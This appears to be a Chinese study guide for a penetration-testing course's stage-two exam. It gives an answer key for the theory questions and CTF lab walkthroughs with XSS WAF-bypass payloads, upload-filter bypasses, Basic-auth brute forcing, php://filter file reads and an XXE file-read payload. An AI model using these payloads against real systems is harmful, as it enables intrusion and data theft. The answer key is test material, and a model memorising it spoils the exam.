刚学完智榜样二阶段的渗透测试内容,是不是对着综合测试有点慌?不知道知识点有没有吃透?实操题不知道从哪下手?
别担心,这篇文章我把二阶段测试的所有内容,从理论题的答案解析,到实操题的通关步骤,全部拆解清楚,帮你复盘知识点,顺利通关考核,还能把这些知识点吃透,用到之后的 SRC 实战里。
测试整体概览
二阶段综合测试是对二阶段所有漏洞知识点的综合考核,分为这几个部分:
-
单选题:30 题,每题 1 分,共 30 分
-
多选题:10 题,每题 2 分,共 20 分
-
判断题:7 题,每题 1 分,共 7 分
-
理论大题:3 题,共 43 分
-
实操题:在智榜样靶场完成,覆盖各类漏洞的复现与利用
第一部分:理论题全解析
1. 基础漏洞知识点单选(前 20 题)
这部分是老师讲解的基础漏洞题,帮你吃透每个漏洞的核心原理:
| 题号 | 题目核心 | 答案 | 大白话解析 |
|---|---|---|---|
| 1 | 文件上传漏洞的成因 | A | 文件上传漏洞就是服务器没严查上传的文件,让坏人传了恶意脚本,跟密码、数据库没关系 |
| 2 | 最容易导致上传漏洞的文件类型 | C | .asp/.jsp/.php 这些脚本文件,服务器能直接运行,传了就能搞破坏,txt/jpg 这些就没事 |
| 3 | 上传漏洞不推荐的做法 | C | 把文件存 Web 根目录还能直接访问,太危险了,容易被人执行恶意文件 |
| 4 | 检测上传恶意文件的技术 | B | 文件签名验证,就是查文件的 "真实身份",能防恶意文件,别的技术是防别的漏洞的 |
| 5 | 增强上传安全的做法 | B | 给上传的文件随机改名,不用用户给的名字,能防坏人钻后缀的空子 |
| 6 | 弱口令漏洞的成因 | A | 弱口令就是用户用了太简单的密码,比如 123456,容易被猜,跟别的没关系 |
| 7 | 防范弱口令的密码策略 | A | 密码至少 8 位,要求复杂度,能让密码难猜,用生日、手机号当密码都不安全 |
| 8 | 密码复杂度的目的 | B | 就是防弱口令,让密码难破解,跟系统速度、管理没关系 |
| 9 | 帮用户创建强密码的做法 | C | 提醒用户别用常见密码、个人信息当密码,默认密码、只改密码不要求复杂度都没用 |
| 10 | 发现弱口令后的首要措施 | B | 先通知用户改密码,别直接关系统,会断服务,别的措施后面再说 |
| 11 | XSS 漏洞的成因 | A | XSS 就是应用没严查用户输入,让坏人插了恶意脚本,跟上传、数据库没关系 |
| 12 | 最难防御的 XSS 类型 | C | DOM 型 XSS,不用服务器有漏洞,靠客户端就能触发,别的都能靠服务器防 |
| 13 | 防 XSS 不推荐的做法 | C | 让用户输 JS 代码还运行,太危险了,很容易引发 XSS,别的做法都能防 |
| 14 | 检测防御 XSS 的技术 | A | 严查用户输入,拦着恶意脚本,这是核心,别的技术是防别的漏洞的 |
| 15 | 减少 XSS 风险的做法 | C | 给用户输入做输出编码,让它插网页里不会变成脚本,GET/POST 跟 XSS 没关系 |
| 16 | XXE 漏洞的成因 | A | XXE 就是应用没严查 XML 数据,让坏人注入了外部引用,能偷文件搞破坏 |
| 17 | 最容易出 XXE 的 XML 解析器配置 | B | 开了外部实体解析,又没安全配置,坏人就能注入恶意引用,关掉就没事了 |
| 18 | 防 XXE 不推荐的做法 | D | 让用户随便输 XML 还解析,太危险了,很容易出 XXE,别的做法都能防 |
| 19 | 检测防御 XXE 的技术 | D | 靠 XML 的安全配置,关掉外部实体解析,这才是核心,光查输入不够 |
| 20 | 减少 XXE 风险的做法 | D | 关掉 XML 解析器的外部实体解析,这是最直接的办法,别的都不是防 XXE 的 |
2. 渗透全流程核心考点
除了漏洞本身,渗透全流程的工具、阶段划分,也是考核的重点,我们来梳理下:
| 知识点 | 核心讲解 |
|---|---|
| 网络空间搜索引擎 | 鹰图、FOFA、Shodan、雪瞳这些,都是资产测绘的工具,能帮我们批量梳理目标的联网资产 |
| 技术栈识别工具 | Wappalyzer 就是专门的插件,能快速识别网站的服务器、框架,帮我们摸清目标的技术栈 |
| CDN 绕过技术 | 专门用来突破 CDN,找到 CDN 背后的真实 IP,这是很多同学容易忽略的点 |
| 高速端口扫描 | Masscan 是针对大量网段的高速端口扫描,比 Nmap 快很多,适合扫上千台主机的大网段 |
| 目录扫描工具 | DirBuster 是 OWASP 推荐的图形化目录扫描工具,专门用来找隐藏的后台、敏感文件 |
| WebShell 管理工具 | 蚁剑、哥斯拉、冰蝎,都是常用的 WebShell 管理工具,拿到服务器权限后用来管理 |
| 弱口令爆破的核心 | 弱口令爆破靠字典、加密算法、爆破工具,网络带宽不是核心,只要网络通就能做 |
| 无回显 SQL 注入 | 盲注,专门用来处理页面没有回显的场景,靠时间或者布尔判断来获取数据 |
| HTTP 请求处理工具 | BurpSuite 是渗透必备的工具,用来抓取、修改 HTTP 请求,不管是挖洞还是爆破都要用 |
| XSS 的类型区别 | 存储型和反射型的核心区别,就是恶意代码是不是被服务器持久化存储了 |
| CSRF 的核心 | CSRF 不需要获取用户的 Cookie,只要用户登录了,点恶意链接就能触发攻击 |
| SSRF 的核心成因 | 输入验证不严,允许攻击者构造内部 URL,从而访问内网的资源,这就是 SSRF |
| XXE 的技术关联 | XXE 是 XML 外部实体注入,所以和 XML 技术相关,是 XML 解析器的配置问题 |
| 上传绕过的类型 | .htaccess 解析绕过,属于白名单绕过,通过自定义解析规则,绕过后缀的白名单限制 |
| 文件包含的依赖 | 文件包含漏洞,靠路径、伪协议就能利用,不需要数据库的账号密码 |
| 反序列化漏洞的核心 | 反序列化漏洞,常利用 PHP 的魔法函数,反序列化的时候自动触发,执行恶意代码 |
| 越权的类型 | 水平越权是同权限用户的越权,比如普通用户看别的普通用户的信息;垂直越权是低权看高权 |
| Google Hacking | 利用搜索引擎的高级查询语法,找到目标的隐藏信息,不是攻击搜索引擎 |
| 旁站与 C 段 | 这是情报收集阶段的工作,前期梳理目标资产的时候,用来找关联的资产 |
| SQL 注入的绕过 | 编码、大小写、双写都是常见的注入绕过技巧,用来绕 WAF 的拦截 |
| HTTP-Only 属性 | 它的核心作用是防止 XSS 窃取 Cookie,这是它最常用的场景 |
| 内网扫描工具 | fscan 是专门的内网扫描工具,能快速扫内网的端口、漏洞,适合内网渗透的场景 |
| DOM 型 XSS 的特点 | 它是在客户端浏览器触发的,完全是前端处理的,不需要服务器参与 |
| SQLMap 的功能 | 自动化 SQL 注入的检测与利用,是注入测试的必备工具,不过绕 WAF 还是需要人工干预 |
| 未授权访问 | 属于逻辑漏洞,是权限校验的逻辑出了问题,不是注入或者文件类的漏洞 |
3. 多选高频考点
多选题是很多同学容易丢分的地方,我们来梳理下这些高频的考点:
| 知识点 | 核心讲解 |
|---|---|
| 网络空间搜索引擎 | 鹰图、FOFA、Shodan、雪瞳,都是这类工具,能帮我们批量做资产测绘 |
| 域名信息收集工具 | 子域名挖掘机、证书查询、漏洞平台,都是域名相关的信息收集工具,Nmap 是端口扫描的 |
| 目录扫描工具 | DirBuster、御剑、Dirb 都是常用的目录扫描工具,能帮我们找隐藏的目录 |
| 上传漏洞的绕过方法 | 大小写、特殊后缀、.htaccess、双写,都是常见的黑名单绕过方法,都能用来绕过后缀的拦截 |
| XSS 的类型 | 反射型、存储型、DOM 型,这是 XSS 的三个分类,没有注入型 XSS 这个说法 |
| WebShell 管理工具 | 哥斯拉、蚁剑、冰蝎,都是常用的,oneforall 是子域名收集的,不是 |
| 验证机制缺陷 | 防重放、登录失败处理、密码重置的问题,这些都是验证机制的缺陷,未授权访问是权限控制的问题 |
| SSRF 的利用场景 | 内网探针、访问内部资源、读本地文件,这些都是 SSRF 的用法,它不能用来破解密码 |
| 反序列化的防御 | 过滤危险的魔法函数、加密验证序列化数据,这两个是有效的防御措施,不能直接禁用魔法函数 |
| SRC 挖掘的要点 | 熟悉平台规则、差异化挖掘、积累经验,这些都是提升挖洞效率的要点 |
4. 常见误区梳理
很多同学容易搞混一些知识点,这里我们梳理下常见的误区,帮你避开:
| 常见误区 | 正确的理解 |
|---|---|
| 很多同学以为 Google Hacking 是攻击搜索引擎 | 不对,它是利用搜索引擎的高级语法,找目标的隐藏信息,不是攻击搜索引擎 |
| 很多同学以为,只有 123456 这种才是弱口令,和账号关联的密码不算 | 不对,和账号关联的密码也是弱口令,很容易被猜出来,也是要防范的 |
| 很多同学以为,CSRF 需要拿到用户的 Cookie 才能攻击 | 不对,CSRF 不需要 Cookie,只要用户登录了,点恶意链接就能触发 |
| 很多同学以为,文件包含漏洞只有 PHP 才有 | 不对,Java、.NET 这些语言,都有文件包含漏洞,不是只有 PHP |
| 很多同学搞混了越权的类型,以为普通用户看别的用户是垂直,看管理员是水平 | 不对,搞反了,同权限用户的越权是水平,低权看高权是垂直 |
| 很多同学以为,SQLMap 能自动搞定所有注入,不用人工管 | 不对,绕 WAF 的时候,还是需要手动配置参数,不是完全自动的 |
5. 理论大题参考答案
48 题:情报收集阶段的核心任务与工具
核心任务 :全面梳理目标的资产信息,梳理目标的攻击面,为后续的漏洞挖掘提供基础信息,确保不遗漏隐藏资产。 工具与作用:
-
网络空间搜索引擎(FOFA/Hunter/Shodan):批量梳理目标的联网资产,获取 IP、端口、服务信息,快速定位目标资产;
-
子域名挖掘工具(oneforall / 子域名挖掘机):枚举目标的子域名,找到主域名下隐藏的二级、三级资产,很多漏洞都藏在子域名里;
-
目录扫描工具(DirBuster / 御剑):扫描 Web 站点的隐藏目录、后台入口、敏感备份文件;
-
Google Hacking:利用搜索引擎的高级语法,找到目标泄露的配置文件、后台、未公开的资源;
-
证书查询:通过 SSL 证书信息,找到目标的真实 IP,绕过 CDN 的隐藏。
49 题:文件上传漏洞的成因与绕过方法
漏洞成因:服务器对用户上传的文件的类型、内容、权限没有做严格的校验,导致恶意文件可以被上传,并且被服务器解析执行,从而获取服务器权限。
黑名单绕过方法:
-
大小写绕过 :服务器过滤了小写的
.php,就传.Php,利用服务器解析的大小写不敏感绕过; -
特殊后缀绕过 :传
.php3/.php5,利用 Apache 对这些后缀的 PHP 解析支持绕过; -
双写绕过 :服务器会把
php替换成空,就传pphphp,替换之后就变成了php。
白名单绕过方法:
-
.htaccess 绕过 :上传
.htaccess文件,自定义解析规则,把 jpg 后缀解析成 PHP,然后传图片马; -
解析漏洞绕过 :利用 Apache 的多后缀解析,传
test.php.jpg,服务器会优先解析 php 后缀; -
截断绕过 :利用 %00 截断,传
test.php%00.jpg,服务器会忽略后面的内容,把文件当成 php 解析。
防御措施:
-
给上传的文件随机重命名,不要使用用户提供的文件名;
-
校验文件的文件头,确保文件的真实类型,不是只看后缀;
-
把上传目录放到非 Web 目录,禁止执行权限;
-
使用白名单限制允许的后缀,不要用黑名单。
50 题:SRC 漏洞挖掘的流程、效率提升与合规
SRC 挖掘流程:平台选择→前期准备(资产收集、工具准备)→漏洞挖掘实施→漏洞验证与报告撰写→提交与跟进。
提升漏洞发现效率的方法:
-
优先测试高风险功能模块,比如登录、上传、支付、用户中心,这些地方出漏洞的概率最高;
-
手工具结合,先用工具初扫,找到可疑点,再手动深入测试,逻辑漏洞必须手动测;
-
结合目标的框架、中间件版本,针对性测试已知的漏洞,很多老站都没修历史漏洞;
-
积累自己的漏洞笔记,总结高频漏洞的业务场景,提升自己的经验。
合规性问题:
-
只测试平台授权的资产,绝对不要做未授权测试,违反《网络安全法》;
-
不要做破坏性操作,不要删数据、不要植木马、不要窃取敏感数据;
-
遵守平台规则,弱口令爆破每个账号最多 5 次,不要批量扫大量子域名,避免给服务器造成压力;
-
保密要求,未修复的漏洞不要公开,不要泄露平台的内部信息。
第二部分:实操题通关指南
实操题需要在智榜样靶场完成,首先给大家说下进入靶场的流程:
-
注册个人信息,登录靶场平台
-
新建你的队伍
-
进入二阶段测试
-
提交审核,通过后进入比赛
-
就可以开始做实操题了
1. DOM 型 XSS 漏洞复现与 WAF 绕过
首先是 DOM-XSS 的复现,这是很常见的漏洞,我们先写测试代码:
<?php
// 设置测试Cookie,不添加HttpOnly,允许JS读取
setcookie("username", "php_test_user", time() + 3600, "/", "localhost", false, false);
setcookie("userid", "654321", time() + 3600, "/", "localhost", false, false);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
DOM-XSS PHP测试
</head>
<body>
<h3>欢迎访问!</h3>
<div id="userInfo"></div>
<script>
// 从URL获取name参数,用户可控输入
const urlParams = new URLSearchParams(window.location.search);
const userName = urlParams.get('name') || '游客';
// 直接插入DOM,漏洞点在这里
document.getElementById('userInfo').innerHTML = `你好,${userName}!`;
</script>
</body>
</html>
把这个代码保存为dom-xss.php,放到 PHP 环境里,访问它,然后用下面的 payload 就能触发 XSS,还能绕过 WAF:
| 绕过方式 | Payload | 说明 |
|---|---|---|
| 基础绕过 | <img src=x onerror=alert('XSS成功')> |
用图片的 onload 事件,绕过 script 标签的拦截 |
| 大小写绕过 | <SVG ONLOAD=alert(1)> |
大小写混淆,绕关键字拦截 |
| IFRAME 嵌套 | <iframe src=javascript:alert(1)></iframe> |
用 iframe 的 js 协议触发 |
| Unicode 编码 | <img src=x onerror=\u0061\u006C\u0065\u0072\u0074(1)> |
把 alert 编码成 Unicode,WAF 识别不出 |
| 注释混淆 | <img src=x onerror=alert/*注释*/(1)> |
插入注释,打破 WAF 的特征匹配 |
| 终极 Base64 绕过 | <img src=x onerror=eval(atob('YWxlcnQoMSk='))> |
把 alert 编码成 Base64,WAF 看不到恶意代码,几乎能绕所有基础 WAF |
2. 靶场实操题通关步骤
第 0 题:没钱的张三(上传漏洞)
-
上传一个
1.php的文件,注意修改 Content-Type 为image/jpeg,绕过前端的校验; -
访问上传后的地址
http://ctf.zhibangyang.cn:23524/uploads/1.php,就能拿到 flag 了。
第 1 题:上传漏洞攻击
和上面的上传漏洞是一样的,绕过后缀校验,上传 php 文件,然后访问拿到 flag。
第 2 题:丢失的旗帜(弱口令爆破)
-
看到提示
buyer13:我忘记密码了...,我们用 Burp 来爆破; -
输入用户名 buyer13,密码随便填,然后抓包,把请求发到 Burp 的爆破模块;
-
目标是 Basic 认证的 Base64 部分,原来的是
YnV5ZXIxMzphZnNkZnM=,解密是buyer13:afsdfs; -
配置爆破,对密码的部分做 Base64 编码,开始攻击,就能拿到密码
buyer13:password; -
用这个账号登录,然后修改密码的时候,抓包把用户改成 admin,然后用 admin/admin 登录,就能拿到 flag 了。
第 3 题:捕获标志(反序列化)
- 这是反序列化漏洞,我们先写个 PHP 代码,生成 admin 的序列化数据:
<?php
class User {
public $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}
$user = new User('admin', 'password');
$serialized = serialize($user);
echo urlencode($serialized);
?>
- 在线运行这个 PHP,拿到序列化后的字符串,提交进去,就能拿到 flag 了。
第 4 题:文件阅读器(文件包含)
-
这是文件包含漏洞,我们用 php 伪协议来读源码;
-
先访问
/?file=php://filter/read=convert.base64-encode/resource=index.php,拿到 index.php 的 Base64 编码,解码就能看到源码; -
然后读
secret.php,同样用伪协议,拿到源码,解码之后就能找到 flag 了。
第 5 题:服务器监控(命令执行)
- 这是命令执行的漏洞,我们用
cat+/flag.*来读 flag,绕过空格的过滤,就能拿到了。
第 6 题:特殊的登录(XXE 漏洞)
- 这是 XXE 漏洞,我们构造恶意的 XML:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag.txt">]>
<user><username>&foo;</username><password>0</password></user>
- 把这个 XML 提交到登录的请求里,就能读取 flag.txt 的内容,拿到 flag。
后面的题目都是类似的,把这些漏洞的知识点组合起来,只要你把上面的知识点吃透,就能一步步通关,拿到所有的 flag。
最后:备考与提升建议
二阶段的测试,其实是把你之前学的所有漏洞知识点做了个综合,考完之后,你可以把这些知识点用到实战里,比如之前的公益 SRC 挖洞,刚好能用上这些技能,既能帮企业提升安全,也能提升自己的实战能力。
备考的时候,建议你把每个漏洞的原理、绕过、防御都自己动手复现一遍,不要光看,实操过了,才是真的学会了。
希望这篇解析能帮你顺利通关二阶段的测试,也能帮你把这些知识点吃透,开启你的网安进阶之路。